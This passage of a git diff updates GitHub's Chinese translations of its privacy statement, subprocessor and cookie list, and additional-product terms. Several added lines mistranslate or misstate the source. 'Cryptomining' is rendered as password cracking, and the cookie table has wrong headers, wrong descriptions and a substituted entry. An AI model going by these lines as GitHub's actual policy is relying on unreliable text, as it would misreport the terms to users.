+我们的电子邮件可能包含一个像素标签，它是一个很小的清晰图像，可以告诉我们您是否打开了电子邮件以及您的 IP 地址是什么。 我们使用此像素标签使我们的电子邮件对您更有效，并确保我们不会发送您不需要的电子邮件。
 
-## Resolving complaints
+## 解决投诉
 
-If you have concerns about the way GitHub is handling your User Personal Information, please let us know immediately. We want to help. You may contact us by filling out the [Privacy contact form](https://support.github.com/contact/privacy). You may also email us directly at privacy@github.com with the subject line "Privacy Concerns." We will respond promptly — within 45 days at the latest.
+如果您对 GitHub 处理您的用户个人信息的方式有疑问，请立即告诉我们。 我们乐于提供帮助。 您可以通过填写[隐私问题联系表](https://support.github.com/contact/privacy)联系我们。 也可以直接向我们发送电子邮件，电子邮件地址：privacy@github.com，主题行注明“隐私问题”。 我们将尽快回复 — 最迟不超过 45 天。
 
-You may also contact our Data Protection Officer directly.
+您还可以直接联系我们的数据保护官。
 
-| Our United States HQ | Our EU Office |
-|---|---|
-| GitHub Data Protection Officer | GitHub BV |
+| 我们的美国总部                   | 我们的欧盟办事处           |
+| ------------------------- | ------------------ |
+| GitHub 数据保护官              | GitHub BV          |
 | 88 Colin P. Kelly Jr. St. | Vijzelstraat 68-72 |
-| San Francisco, CA 94107 | 1017 HL Amsterdam |
-| United States | The Netherlands |
-| privacy@github.com | privacy@github.com |
+| San Francisco, CA 94107   | 1017 HL Amsterdam  |
+| 美国                        | 荷兰                 |
+| privacy@github.com        | privacy@github.com |
 
-### Dispute resolution process
+### 争议解决流程
 
-In the unlikely event that a dispute arises between you and GitHub regarding our handling of your User Personal Information, we will do our best to resolve it. Additionally, if you are a resident of an EU member state, you have the right to file a complaint with your local supervisory authority, and you might have more [options](/github/site-policy/global-privacy-practices#dispute-resolution-process).
+万一您和 GitHub 之间就我们处理用户个人信息的问题出现争议，我们将尽最大努力予以解决。 此外，如果您是欧盟成员国的居民，您有权向当地监管机构投诉，并且您可能拥有更多[选项](/github/site-policy/global-privacy-practices#dispute-resolution-process)。
 
-## Changes to our Privacy Statement
+## 隐私声明的变更
 
-Although most changes are likely to be minor, GitHub may change our Privacy Statement from time to time. We will provide notification to Users of material changes to this Privacy Statement through our Website at least 30 days prior to the change taking effect by posting a notice on our home page or sending email to the primary email address specified in your GitHub account. We will also update our [Site Policy repository](https://github.com/github/site-policy/), which tracks all changes to this policy. For other changes to this Privacy Statement, we encourage Users to [watch](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository) or to check our Site Policy repository frequently.
+GitHub 可能会不时更改我们的隐私声明，不过大多数情况都是小变动。 如果本隐私声明发生重大变更，我们会在变更生效之前至少 30 天通知用户 - 在我们网站的主页上发布通知，或者发送电子邮件到您的 GitHub 帐户中指定的主电子邮件地址。 我们还会更新我们的[站点政策仓库](https://github.com/github/site-policy/)，通过它可跟踪本政策的所有变更。 对于本隐私声明的其他更改，我们建议用户[关注](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)或经常查看我们的网站政策仓库。
 
-## License
+## 许可
 
-This Privacy Statement is licensed under this [Creative Commons Zero license](https://creativecommons.org/publicdomain/zero/1.0/). For details, see our [site-policy repository](https://github.com/github/site-policy#license).
+本隐私声明的许可采用[知识共享零许可](https://creativecommons.org/publicdomain/zero/1.0/)原则。 更多信息请参阅我们的[站点政策仓库](https://github.com/github/site-policy#license)。
 
-## Contacting GitHub
-Questions regarding GitHub's Privacy Statement or information practices should be directed to our [Privacy contact form](https://support.github.com/contact/privacy).
+## 联系 GitHub
+有关 GitHub 隐私声明或信息实践的问题，请通过我们的[隐私问题联系表](https://support.github.com/contact/privacy)联系我们。
 
-## Translations
+## 翻译
 
-Below are translations of this document into other languages. In the event of any conflict, uncertainty, or apparent inconsistency between any of those versions and the English version, this English version is the controlling version.
+以下是本文档翻译成其他语言的版本。 如果任何这些版本与英文版之间存在任何冲突、含糊或明显不一致，以英文版为准。
 
-### French
-Cliquez ici pour obtenir la version française: [Déclaration de confidentialité de GitHub](/assets/images/help/site-policy/github-privacy-statement(07.22.20)(FR).pdf)
+### 法语
+Cliquez ici pour obtenir la version française: [Déclaration de confidentialité de GitHub](/assets/images/help/site-policy/github-privacy-statement(12.20.19)(FR).pdf)
 
-### Other translations
+### 其他翻译版本：
 
-For translations of this statement into other languages, please visit [https://docs.github.com/](/) and select a language from the drop-down menu under “English.”
+有关本声明翻译成其他语言的版本，请访问 [https://docs.github.com/](/)，然后从“English（英文）”下的下拉菜单中选择语言。
diff --git a/translations/zh-CN/content/github/site-policy/github-subprocessors-and-cookies.md b/translations/zh-CN/content/github/site-policy/github-subprocessors-and-cookies.md
index 03ca56894a..839c995595 100644
--- a/translations/zh-CN/content/github/site-policy/github-subprocessors-and-cookies.md
+++ b/translations/zh-CN/content/github/site-policy/github-subprocessors-and-cookies.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Subprocessors and Cookies
+title: GitHub 子处理器和 Cookie
 redirect_from:
   - /subprocessors
   - /github-subprocessors
@@ -13,68 +13,68 @@ topics:
   - Legal
 ---
 
-Effective date: **April 2, 2021**
+生效日期：**2021 年 4 月 2 日**
 
-GitHub provides a great deal of transparency regarding how we use your data, how we collect your data, and with whom we share your data. To that end, we provide this page, which details [our subprocessors](#github-subprocessors), and how we use [cookies](#cookies-on-github).
+GitHub 在如何使用您的数据、如何收集您的数据以及与谁分享您的数据方面提供很大的透明度。 为此，我们提供此页面，以详细介绍了我们的[子处理商](#github-subprocessors)，以及我们如何使用 [cookie](#cookies-on-github)。
 
-## GitHub Subprocessors
+## GitHub 子处理商
 
-When we share your information with third party subprocessors, such as our vendors and service providers, we remain responsible for it. We work very hard to maintain your trust when we bring on new vendors, and we require all vendors to enter into data protection agreements with us that restrict their processing of Users' Personal Information (as defined in the [Privacy Statement](/articles/github-privacy-statement/)).
+我们与第三方子处理商（例如我们的供应商和服务提供商）分享您的信息时，我们仍对您的信息负责。 我们在引入新供应商时，会竭尽所能保持您的信任，并且要求所有供应商与我们签订数据保护协议，以约束他们对用户个人信息（定义见[隐私声明](/articles/github-privacy-statement/)）的处理。
 
-| Name of Subprocessor | Description of Processing | Location of Processing | Corporate Location
-|:---|:---|:---|:---|
-| Automattic | Blogging service | United States | United States |
-| AWS Amazon | Data hosting | United States | United States |
-| Braintree (PayPal) | Subscription credit card payment processor | United States | United States |
-| Clearbit | Marketing data enrichment service | United States | United States |
-| Discourse | Community forum software provider | United States | United States |
-| Eloqua | Marketing campaign automation | United States | United States |
-| Google Apps | Internal company infrastructure | United States | United States |
-| MailChimp | Customer ticketing mail services provider | United States | United States |
-| Mailgun | Transactional mail services provider | United States | United States |
-| Microsoft | Microsoft Services | United States | United States |
-| Nexmo | SMS notification provider | United States | United States |
-| Salesforce.com | Customer relations management | United States | United States |
-| Sentry.io | Application monitoring provider | United States | United States |
-| Stripe | Payment provider | United States | United States |
-| Twilio & Twilio Sendgrid | SMS notification provider & transactional mail service provider | United States | United States |
-| Zendesk | Customer support ticketing system | United States | United States |
-| Zuora | Corporate billing system | United States | United States |
+| 子处理商名称                   | 处理说明              | 处理地点 | 公司地点 |
+|:------------------------ |:----------------- |:---- |:---- |
+| Automattic               | 博客服务              | 美国   | 美国   |
+| AWS Amazon               | 数据托管              | 美国   | 美国   |
+| Braintree (PayPal)       | 订阅费用信用卡支付处理商      | 美国   | 美国   |
+| Clearbit                 | 营销数据充实服务          | 美国   | 美国   |
+| Discourse                | 社区论坛软件提供商         | 美国   | 美国   |
+| Eloqua                   | 营销活动自动化           | 美国   | 美国   |
+| Google Apps              | 公司内部基础设施          | 美国   | 美国   |
+| MailChimp                | 客户事件单邮件服务提供商      | 美国   | 美国   |
+| Mailgun                  | 交易邮件服务提供商         | 美国   | 美国   |
+| Microsoft                | Microsoft 服务      | 美国   | 美国   |
+| Nexmo                    | 短信通知提供商           | 美国   | 美国   |
+| Salesforce.com           | 客户关系管理            | 美国   | 美国   |
+| Sentry.io                | 应用程序监控提供商         | 美国   | 美国   |
+| Stripe                   | 支付服务提供商           | 美国   | 美国   |
+| Twilio & Twilio Sendgrid | 短信通知提供商和交易邮件服务提供商 | 美国   | 美国   |
+| Zendesk                  | 客户支持事件单系统         | 美国   | 美国   |
+| Zuora                    | 公司计费系统            | 美国   | 美国   |
 
-When we bring on a new subprocessor who handles our Users' Personal Information, or remove a subprocessor, or we change how we use a subprocessor, we will update this page. If you have questions or concerns about a new subprocessor, we'd be happy to help. Please contact us via {% data variables.contact.contact_privacy %}.
+在我们引入新的子处理商来处理用户个人信息、删除子处理商或更改使用子处理商的方式时，我们将更新本页面。 如果您对新的子处理商有疑问或疑虑，我们乐意提供帮助。 请通过 {% data variables.contact.contact_privacy %} 联系我们。
 
-## Cookies on GitHub
+## GitHub 上的 Cookie
 
-GitHub uses cookies to provide and secure our websites, as well as to analyze the usage of our websites, in order to offer you a great user experience. Please take a look at our [Privacy Statement](/github/site-policy/github-privacy-statement#our-use-of-cookies-and-tracking) if you’d like more information about cookies, and on how and why we use them. 
- 
-Since the number and names of cookies may change, the table below may be updated from time to time.
+GitHub 使用 Cookie 来提供和保护我们的网站，并分析我们网站的使用情况，以便为您提供出色的用户体验。 为此，我们制作了本页面，详细介绍[我们的子处理商](#github-subprocessors)、我们如何使用 [cookie](#cookies-on-github)、在何处进行跟踪以及如何[在 GitHub 上执行跟踪](#tracking-on-github)。
 
-| Service Provider | Cookie Name | Description | Expiration* |
-|:---|:---|:---|:---|
-| GitHub | `app_manifest_token` | This cookie is used during the App Manifest flow to maintain the state of the flow during the redirect to fetch a user session. | five minutes |
-| GitHub | `color_mode` | This cookie is used to indicate the user selected theme preference. | session | 
-| GitHub | `_device_id` | This cookie is used to track recognized devices for security purposes. | one year |
-| GitHub | `dotcom_user` | This cookie is used to signal to us that the user is already logged in. | one year |
-| GitHub | `_gh_ent` | This cookie is used for temporary application and framework state between pages like what step the customer is on in a multiple step form. | two weeks | 
-| GitHub | `_gh_sess` | This cookie is used for temporary application and framework state between pages like what step the user is on in a multiple step form. | session |
-| GitHub | `gist_oauth_csrf` | This cookie is set by Gist to ensure the user that started the oauth flow is the same user that completes it. | deleted when oauth state is validated |
-| GitHub | `gist_user_session` | This cookie is used by Gist when running on a separate host. | two weeks |
-| GitHub | `has_recent_activity` | This cookie is used to prevent showing the security interstitial to users that have visited the app recently. | one hour | 
-| GitHub | `__Host-gist_user_session_same_site` | This cookie is set to ensure that browsers that support SameSite cookies can check to see if a request originates from GitHub. | two weeks | 
-| GitHub | `__Host-user_session_same_site` | This cookie is set to ensure that browsers that support SameSite cookies can check to see if a request originates from GitHub. | two weeks | 
-| GitHub | `logged_in` | This cookie is used to signal to us that the user is already logged in. | one year | 
-| GitHub | `marketplace_repository_ids` | This cookie is used for the marketplace installation flow. | one hour |
-| GitHub | `marketplace_suggested_target_id` | This cookie is used for the marketplace installation flow. | one hour |
-| GitHub | `_octo` | This cookie is used for session management including caching of dynamic content, conditional feature access, support request metadata, and first party analytics. | one year | 
-| GitHub | `org_transform_notice` | This cookie is used to provide notice during organization transforms. | one hour |
-| GitHub | `private_mode_user_session` |  This cookie is used for Enterprise authentication requests. | two weeks |
-| GitHub | `saml_csrf_token` | This cookie is set by SAML auth path method to associate a token with the client. | until user closes browser or completes authentication request |
-| GitHub | `saml_csrf_token_legacy` | This cookie is set by SAML auth path method to associate a token with the client. | until user closes browser or completes authentication request |
-| GitHub | `saml_return_to` | This cookie is set by the SAML auth path method to maintain state during the SAML authentication loop. | until user closes browser or completes authentication request |
-| GitHub | `saml_return_to_legacy` | This cookie is set by the SAML auth path method to maintain state during the SAML authentication loop. | until user closes browser or completes authentication request |
-| GitHub | `tz` | This cookie allows us to customize timestamps to your time zone. | session | 
-| GitHub | `user_session` | This cookie is used to log you in. | two weeks |
+由于 Cookie 的数量和名称可能会发生变化，下表可能会不时更新。
 
-_*_ The **expiration** dates for the cookies listed below generally apply on a rolling basis.
+| Cookie 名称 | 原因                                   | 描述                                                      | 过期*                |
+|:--------- |:------------------------------------ |:------------------------------------------------------- |:------------------ |
+| GitHub    | `app_manifest_token`                 | 此 cookie 用于表明页面之间的临时应用程序和框架状态，例如用户在多步骤表单中处于哪一步。         | 5 分钟               |
+| GitHub    | `color_mode`                         | 此 cookie 用于指示用户选择的主题首选项。                                | 会话                 |
+| GitHub    | `_device_id`                         | 出于安全考虑，此 Cookie 用于跟踪已识别的设备。                             | 1 年                |
+| GitHub    | `dotcom_user`                        | 此 cookie 用于向我们表明用户已登录。                                  | 1 年                |
+| GitHub    | `_gh_ent`                            | 此 cookie 用于表明页面之间的临时应用程序和框架状态，例如客户在多步骤表单中处于哪一步。         | 两周                 |
+| GitHub    | `_gh_sess`                           | 此 cookie 用于表明页面之间的临时应用程序和框架状态，例如用户在多步骤表单中处于哪一步。         | 会话                 |
+| GitHub    | `gist_oauth_csrf`                    | 此 cookie 由 Gist 设置，以确保启动 oauth 流的用户与完成它的用户是同一个用户。       | 验证 oauth 状态时删除     |
+| GitHub    | `gist_user_session`                  | 此 cookie 由 Gist 在单独主机上运行时使用。                            | 两周                 |
+| GitHub    | `has_recent_activity`                | 此 Cookie 用于防止向最近访问过应用程序的用户显示安全插页。                       | 1 小时               |
+| GitHub    | `__Host-gist_user_session_same_site` | 此 cookie 设置为确保支持 SameSite cookie 的浏览器可以检查请求是否来自 GitHub。 | 两周                 |
+| GitHub    | `__Host-user_session_same_site`      | 此 cookie 设置为确保支持 SameSite cookie 的浏览器可以检查请求是否来自 GitHub。 | 两周                 |
+| GitHub    | `logged_in`                          | 此 cookie 用于向我们表明用户已登录。                                  | 1 年                |
+| GitHub    | `marketplace_repository_ids`         | 此 cookie 用于您的登录。                                        | 1 小时               |
+| GitHub    | `marketplace_suggested_target_id`    | 此 cookie 用于您的登录。                                        | 1 小时               |
+| GitHub    | `_octo`                              | 此 Cookie 用于会话管理，包括动态内容缓存、条件功能访问、支持请求元数据和第一方分析。          | 1 年                |
+| GitHub    | `org_transform_notice`               | 此 Cookie 用于在组织转换期间提供通知。                                 | 1 小时               |
+| GitHub    | `github.com/personal`                | 此 cookie 用于 Google Analytics。                           | 两周                 |
+| GitHub    | `saml_csrf_token`                    | 此 cookie 由 SAML 身份验证路径方法设置，以将令牌与客户端相关联。                 | 直到用户关闭浏览器或完成身份验证请求 |
+| GitHub    | `saml_csrf_token_legacy`             | 此 cookie 由 SAML 身份验证路径方法设置，以将令牌与客户端相关联。                 | 直到用户关闭浏览器或完成身份验证请求 |
+| GitHub    | `saml_return_to`                     | 此 cookie 由 SAML 身份验证路径方法设置，以在 SAML 身份验证循环期间维持状态。        | 直到用户关闭浏览器或完成身份验证请求 |
+| GitHub    | `saml_return_to_legacy`              | 此 cookie 由 SAML 身份验证路径方法设置，以在 SAML 身份验证循环期间维持状态。        | 直到用户关闭浏览器或完成身份验证请求 |
+| GitHub    | `tz`                                 | 此 Cookie 允许我们根据您的时区自定义时间戳。                              | 会话                 |
+| GitHub    | `user_session`                       | 此 cookie 用于您的登录。                                        | 两周                 |
 
-(!) Please note while we limit our use of third party cookies to those necessary to provide external functionality when rendering external content, certain pages on our website may set other third party cookies. For example, we may embed content, such as videos, from another site that sets a cookie. While we try to minimize these third party cookies, we can’t always control what cookies this third party content sets.
+_*_ GitHub 出于以下原因在用户设备上放置以下 cookie：
+
+(!) 请注意，虽然我们将第三方 Cookie 的使用限制在呈现外部内容时提供外部功能的需要，但我们网站上的某些页面可能会设置其他第三方 Cookie。 例如，我们可能会嵌入来自其他网站的内容（例如视频），而该网站可能放置 cookie。 虽然我们尽可能减少这些第三方 cookie，但我们无法始终控制这些第三方内容放置哪些 cookie。
diff --git a/translations/zh-CN/content/github/site-policy/github-terms-for-additional-products-and-features.md b/translations/zh-CN/content/github/site-policy/github-terms-for-additional-products-and-features.md
index 02ffbb9d03..67fcb57087 100644
--- a/translations/zh-CN/content/github/site-policy/github-terms-for-additional-products-and-features.md
+++ b/translations/zh-CN/content/github/site-policy/github-terms-for-additional-products-and-features.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Terms for Additional Products and Features
+title: GitHub 其他产品和功能条款
 redirect_from:
   - /github/site-policy/github-additional-product-terms
 versions:
@@ -9,109 +9,109 @@ topics:
   - Legal
 ---
 
-Version Effective Date: August 10, 2021
+版本生效日期：2021 年 8 月 10 日
 
-When you use GitHub, you may be given access to lots of additional products and features ("Additional Products and Features"). Because many of the Additional Products and Features offer different functionality, specific terms for that product or feature may apply in addition to your main agreement with us—the GitHub Terms of Service, GitHub Corporate Terms of Service, GitHub General Terms, or Microsoft volume licensing agreement (each, the "Agreement"). Below, we've listed those products and features, along with the corresponding additional terms that apply to your use of them.
+当您使用 GitHub 时，您可以访问大量额外的产品和功能（“附加产品和功能”）。 由于许多附加产品和特性提供不同的功能，该产品或特性的具体条款可能适用于您与我们的主要协议 - GitHub 服务条款、GitHub 企业服务条款、GitHub 通用条款或 Microsoft 批量许可协议（每个条款均称为“协议”）。 下面，我们列出了这些产品和特性，以及适用于您使用它们的相应附加条款。
 
-By using the Additional Products and Features, you also agree to the applicable GitHub Terms for Additional Products and Features listed below. A violation of these GitHub terms for Additional Product and Features is a violation of the Agreement. Capitalized terms not defined here have the meaning given in the Agreement.
+通过使用附加产品和特性，您也同意下面列出的适用的 GitHub 条款。 违反 GitHub 关于附加产品和特性的条款便是违反协议。 在本文未定义的任何大写术语采用“协议”中的含义。
 
-**For Enterprise users**
-- **GitHub Enterprise Cloud** users may have access to the following Additional Products and Features: Actions, Advanced Security, Advisory Database, Codespaces, Dependabot Preview, GitHub Enterprise Importer, Learning Lab, Packages, and Pages. 
+**对于企业用户**
+- **GitHub Enterprise Cloud** users may have access to the following Additional Products and Features: Actions, Advanced Security, Advisory Database, Codespaces, Dependabot Preview, GitHub Enterprise Importer, Learning Lab, Packages, and Pages.
 
-- **GitHub Enterprise Server** users may have access to the following Additional Products and Features: Actions, Advanced Security, Advisory Database, Connect, Dependabot Preview, GitHub Enterprise Importer, Learning Lab, Packages, Pages, and SQL Server Images. 
+- **GitHub Enterprise Server** users may have access to the following Additional Products and Features: Actions, Advanced Security, Advisory Database, Connect, Dependabot Preview, GitHub Enterprise Importer, Learning Lab, Packages, Pages, and SQL Server Images.
 
 - **GitHub AE** users may have access to the following Additional Products and Features: Actions, Advanced Security, Advisory Database, {% ifversion ghae %}Connect, {% endif %}Dependabot Preview, GitHub Enterprise Importer, Packages and Pages.
 
-## Actions
-GitHub Actions enables you to create custom software development lifecycle workflows directly in your GitHub repository. Actions is billed on a usage basis. The [Actions documentation](/actions) includes details, including compute and storage quantities (depending on your Account plan), and how to monitor your Actions minutes usage and set usage limits. 
+## 操作
+GitHub Actions 使您能够直接在您的 GitHub 仓库中创建自定义软件开发生命周期工作流程。 Actions 按使用情况计费。 [Actions 文档](/actions)包含详细信息，包括计算和存储量（取决于您的帐户计划）以及如何监控您的 Actions 分钟使用和设置使用限制。
 
-Actions and any elements of the Actions product or service may not be used in violation of the Agreement, the [GitHub Acceptable Use Polices](/github/site-policy/github-acceptable-use-policies), or the GitHub Actions service limitations set forth in the [Actions documentation](/actions/reference/usage-limits-billing-and-administration). Additionally, regardless of whether an Action is using self-hosted runners, Actions should not be used for:
-- cryptomining;
+对 Actions 和任何 Action 产品或服务元素的使用，不得违反协议、[GitHub 可接受使用政策](/github/site-policy/github-acceptable-use-policies)或 [Actions 文档](/actions/reference/usage-limits-billing-and-administration)规定的 GitHub Actions 服务限制。 Additionally, regardless of whether an Action is using self-hosted runners, Actions should not be used for:
+- 密码破解;
 - disrupting, gaining, or attempting to gain unauthorized access to, any service, device, data, account, or network (other than those authorized by the [GitHub Bug Bounty program](https://bounty.github.com));
 - the provision of a stand-alone or integrated application or service offering the Actions product or service, or any elements of the Actions product or service, for commercial purposes;
-- any activity that places a burden on our servers, where that burden is disproportionate to the benefits provided to users (for example, don't use Actions as a content delivery network or as part of a serverless application, but a low benefit Action could be ok if it’s also low burden); or
-- if using GitHub-hosted runners, any other activity unrelated to the production, testing, deployment, or publication of the software project associated with the repository where GitHub Actions are used.
+- 任何给我们的服务器带来负担的活动，如果这种负担与提供给用户的收益不成比例（例如，不要将 Action 用作内容交付网络或作为无服务器应用程序的一部分，但收益低负担也低的 Action 可能没问题）；或
+- 如果使用 GitHub 托管的运行器，与使用 GitHub Actions 的仓库相关的软件项目创建、测试、部署或发布无关的任何其他活动。
 
-In order to prevent violations of these limitations and abuse of GitHub Actions, GitHub may monitor your use of GitHub Actions. Misuse of GitHub Actions may result in termination of jobs, restrictions in your ability to use GitHub Actions, or the disabling of repositories created to run Actions in a way that violates these Terms.
+为防止违反这些限制和滥用 GitHub Actions，GitHub 可能会监视您对 GitHub Actions 的使用。 滥用 GitHub Actions 可能导致作业终止、使用 GitHub Actions 的权限受到限制，或者禁用以违反这些条款的方式运行 Actions 的仓库。
 
 
 ## Advanced Security
-GitHub makes extra security features available to customers under an Advanced Security license. These features include code scanning, secret scanning, and dependency review. The [Advanced Security documentation](/github/getting-started-with-github/about-github-advanced-security) provides more details.
+GitHub 根据高级安全许可证向客户提供额外的安全功能。 这些功能包括代码扫描、秘密扫描和依赖项审查。 [Advanced Security 文档](/github/getting-started-with-github/about-github-advanced-security)提供更多详细信息。
 
-Advanced Security is licensed on a "Unique Committer" basis. A "Unique Committer" is a licensed user of GitHub Enterprise, GitHub Enterprise Cloud, GitHub Enterprise Server, or GitHub AE, who has made a commit in the last 90 days to any repository with any GitHub Advanced Security functionality activated. You must acquire a GitHub Advanced Security User license for each of your Unique Committers. You may only use GitHub Advanced Security on codebases that are developed by or for you. For GitHub Enterprise Cloud users, some Advanced Security features also require the use of GitHub Actions. 
+Advanced Security 按“唯一提交者”许可。 “唯一提交者”是 GitHub Enterprise、GitHub Enterprise Cloud、GitHub Enterprise Server 或 GitHub AE 的许可用户，他们在过去 90 天内向激活了 GitHub Advanced Security 功能的任意仓库提交过。 您必须为每个唯一提交者获取 GitHub Advanced Security 用户许可。 您只能在由您开发或为您开发的代码库上使用 GitHub Advanced Security。 对于 GitHub Enterprise Cloud 用户，一些高级安全功能也需要使用 GitHub Actions。
 
 ## Advisory Database
-The GitHub Advisory Database allows you to browse or search for vulnerabilities that affect open source projects on GitHub.
+GitHub 咨询数据库允许您浏览或搜索影响 GitHub 上开源项目的漏洞。
 
-_License Grant to Us_
+_向我们授予许可_
 
-We need the legal right to submit your contributions to the GitHub Advisory Database into public domain datasets such as the [National Vulnerability Database](https://nvd.nist.gov/) and to license the GitHub Advisory Database under open terms for use by security researchers, the open source community, industry, and the public. You agree to release your contributions to the GitHub Advisory Database under the [Creative Commons Zero license](https://creativecommons.org/publicdomain/zero/1.0/).
+我们需要适当的法律权利，才能将您对 GitHub Advisory Database 的贡献提交到公共域数据集，例如[国家漏洞数据库](https://nvd.nist.gov/)，并在开放的条款下许可 GitHub Advisory Database，以供安全研究人员、开源社区、行业和公众使用。 您需要同意根据[知识共享零许可](https://creativecommons.org/publicdomain/zero/1.0/)原则发布您对 GitHub Advisory Database 的贡献。
 
-_License to the GitHub Advisory Database_
+_GitHub Advisory Database 的许可_
 
-The GitHub Advisory Database is licensed under the [Creative Commons Attribution 4.0 license](https://creativecommons.org/licenses/by/4.0/). The attribution term may be fulfilled by linking to the GitHub Advisory Database at <https://github.com/advisories> or to individual GitHub Advisory Database records used, prefixed by <https://github.com/advisories>.
+GitHub Advisory Database 的许可采用[知识共享署名 4.0 许可](https://creativecommons.org/licenses/by/4.0/)原则。 有关署名条款，请参阅 <https://github.com/advisories> 上的 GitHub Advisory Database，或者所使用的单独 GitHub Advisory Database 记录（以 <https://github.com/advisories> 为前缀）。
 
 ## Codespaces
 _Note: The github.dev service, available by pressing `.` on a repo or navigating directly to github.dev, is governed by [GitHub's Beta Terms of service](/github/site-policy/github-terms-of-service#j-beta-previews)._
 
-GitHub Codespaces enables you to develop code directly from your browser using the code within your GitHub repository. Codespaces and any elements of the Codespaces service may not be used in violation of the Agreement or the Acceptable Use Policies. Additionally, Codespaces should not be used for:
-- cryptomining;
-- using our servers to disrupt, or to gain or to attempt to gain unauthorized access to any service, device, data, account or network (other than those authorized by the GitHub Bug Bounty program);
-- the provision of a stand-alone or integrated application or service offering Codespaces or any elements of Codespaces for commercial purposes;
+GitHub Codespaces enables you to develop code directly from your browser using the code within your GitHub repository. Codespaces and any elements of the Codespaces service may not be used in violation of the Agreement or the Acceptable Use Policies. 此外，Codespaces 不得用于：
+- 密码破解;
+- 使用我们的服务器破坏、非授权访问或尝试非授权访问任何服务、设备、数据、帐户或网络（GitHub 漏洞赏金计划授权的活动除外）；
+- 出于商业目的，提供兜售 Codespaces 或任何 Codespaces 元素的独立或集成应用程序或服务；
 - any activity that places a burden on our servers, where that burden is disproportionate to the benefits provided to users (for example, don't use Codespaces as a content delivery network, as part of a serverless application, or to host any kind of production-facing application); or
 - any other activity unrelated to the development or testing of the software project associated with the repository where GitHub Codespaces is initiated.
 
-In order to prevent violations of these limitations and abuse of GitHub Codespaces, GitHub may monitor your use of GitHub Codespaces. Misuse of GitHub Codespaces may result in termination of your access to Codespaces, restrictions in your ability to use GitHub Codespaces, or the disabling of repositories created to run Codespaces in a way that violates these Terms.
+为防止违反这些限制和滥用 GitHub Codespaces，GitHub 可能会监视您对 GitHub Codespaces 的使用。 滥用 GitHub Codespaces 可能导致对 Codespaces 的访问终止、使用 GitHub Codespaces 的权限受到限制，或者禁用以违反这些条款的方式运行 Codespaces 的仓库。
 
-Codespaces allows you to load extensions from the Microsoft Visual Studio Marketplace (“Marketplace Extensions”) for use in your development environment, for example, to process the programming languages that your code is written in. Marketplace Extensions are licensed under their own separate terms of use as noted in the Visual Studio Marketplace, and the terms of use located at https://aka.ms/vsmarketplace-ToU. GitHub makes no warranties of any kind in relation to Marketplace Extensions and is not liable for actions of third-party authors of Marketplace Extensions that are granted access to Your Content. Codespaces also allows you to load software into your environment through devcontainer features. Such software is provided under the separate terms of use accompanying it. Your use of any third-party applications is at your sole risk.
+Codespaces allows you to load extensions from the Microsoft Visual Studio Marketplace (“Marketplace Extensions”) for use in your development environment, for example, to process the programming languages that your code is written in. Marketplace Extensions are licensed under their own separate terms of use as noted in the Visual Studio Marketplace, and the terms of use located at https://aka.ms/vsmarketplace-ToU. GitHub makes no warranties of any kind in relation to Marketplace Extensions and is not liable for actions of third-party authors of Marketplace Extensions that are granted access to Your Content. Codespaces also allows you to load software into your environment through devcontainer features. Such software is provided under the separate terms of use accompanying it. 您使用任何第三方应用程序均应自担风险。
 
-The generally available version of Codespaces is not currently available for U.S. government customers. U.S. government customers may continue to use the Codespaces Beta Preview under separate terms. See [Beta Preview terms](/github/site-policy/github-terms-of-service#j-beta-previews).
+Codespaces 的一般版本目前不适用于美国。 政府客户。 美国 government customers may continue to use the Codespaces Beta Preview under separate terms. See [Beta Preview terms](/github/site-policy/github-terms-of-service#j-beta-previews).
 
 ## Connect
-With GitHub Connect, you can share certain features and data between your GitHub Enterprise Server {% ifversion ghae %}or GitHub AE {% endif %}instance and your GitHub Enterprise Cloud organization or enterprise account on GitHub.com. In order to enable GitHub Connect, you must have at least one (1) account on GitHub Enterprise Cloud or GitHub.com, and one (1) licensed instance of GitHub Enterprise Server{% ifversion ghae %} or GitHub AE{% endif %}. Your use of GitHub Enterprise Cloud or GitHub.com through Connect is governed by the terms under which you license GitHub Enterprise Cloud or GitHub.com. Use of Personal Data is governed by the [GitHub Privacy Statement](/github/site-policy/github-privacy-statement).
+使用 GitHub Connect，您可以在 GitHub Enterprise Server {% ifversion ghae %}或 GitHub AE {% endif %}实例与您的GitHub Enterprise Cloud 组织或 GitHub.com 上的企业帐户之间分享某些功能和数据。 要启用 GitHub Connect，您必须在 GitHub Enterprise Cloud 或 GitHub.com 上至少有一 (1) 个帐户，以及一 (1) 个许可的 GitHub Enterprise Server{% ifversion ghae %} 或 GitHub AE{% endif %} 实例。 您通过 Connect 使用 GitHub Enterprise Cloud 或 GitHub.com 是由您许可 GitHub Enterprise Cloud 或 GitHub.com的条款管理的。 个人数据的使用受 [GitHub 隐私声明](/github/site-policy/github-privacy-statement)管制。
 
 ## GitHub Enterprise Importer
 Importer is a framework for exporting data from other sources to be imported to the GitHub platform. Importer is provided “AS-IS”.
 
 ## Learning Lab
-GitHub Learning Lab offers free interactive courses that are built into GitHub with instant automated feedback and help.
+GitHub Learning Lab 提供已编入GitHub 的免费交互式课程，并提供即时自动反馈和帮助。
 
-*Course Materials.* GitHub owns course materials that it provides and grants you a worldwide, non-exclusive, limited-term, non-transferable, royalty-free license to copy, maintain, use and run such course materials for your internal business purposes associated with Learning Lab use. 
+*课程材料。*GitHub 拥有其提供的任何课程材料，并授予您全球、非独占、有限期、不可转让、免版税的许可，允许您出于与 Learning Lab 使用相关的内部业务目的而复制、维护、使用和运行这些材料。
 
-Open source license terms may apply to portions of source code provided in the course materials. 
+开源许可证条款可能适用于课程材料中提供的源代码部分。
 
-You own course materials that you create and grant GitHub a worldwide, non-exclusive, perpetual, non-transferable, royalty-free license to copy, maintain, use, host, and run such course materials. 
+您创建的课程材料归您所有，但是您授予 GitHub 全球、非独占、永久、不可转让、免版税的许可，允许 GitHub 复制、维护、使用、托管以及在服务上运行这些课程材料。
 
-The use of GitHub course materials and creation and storage of your own course materials do not constitute joint ownership to either party's respective intellectual property.
+您对 GitHub 课程材料的使用以及对自己课程材料的创建和存储并不构成对任一方各自知识产权的共同所有权。
 
-Use of Personal Data is governed by the [GitHub Privacy Statement](/github/site-policy/github-privacy-statement).
+个人数据的使用受 [GitHub 隐私声明](/github/site-policy/github-privacy-statement)管制。
 
 ## npm
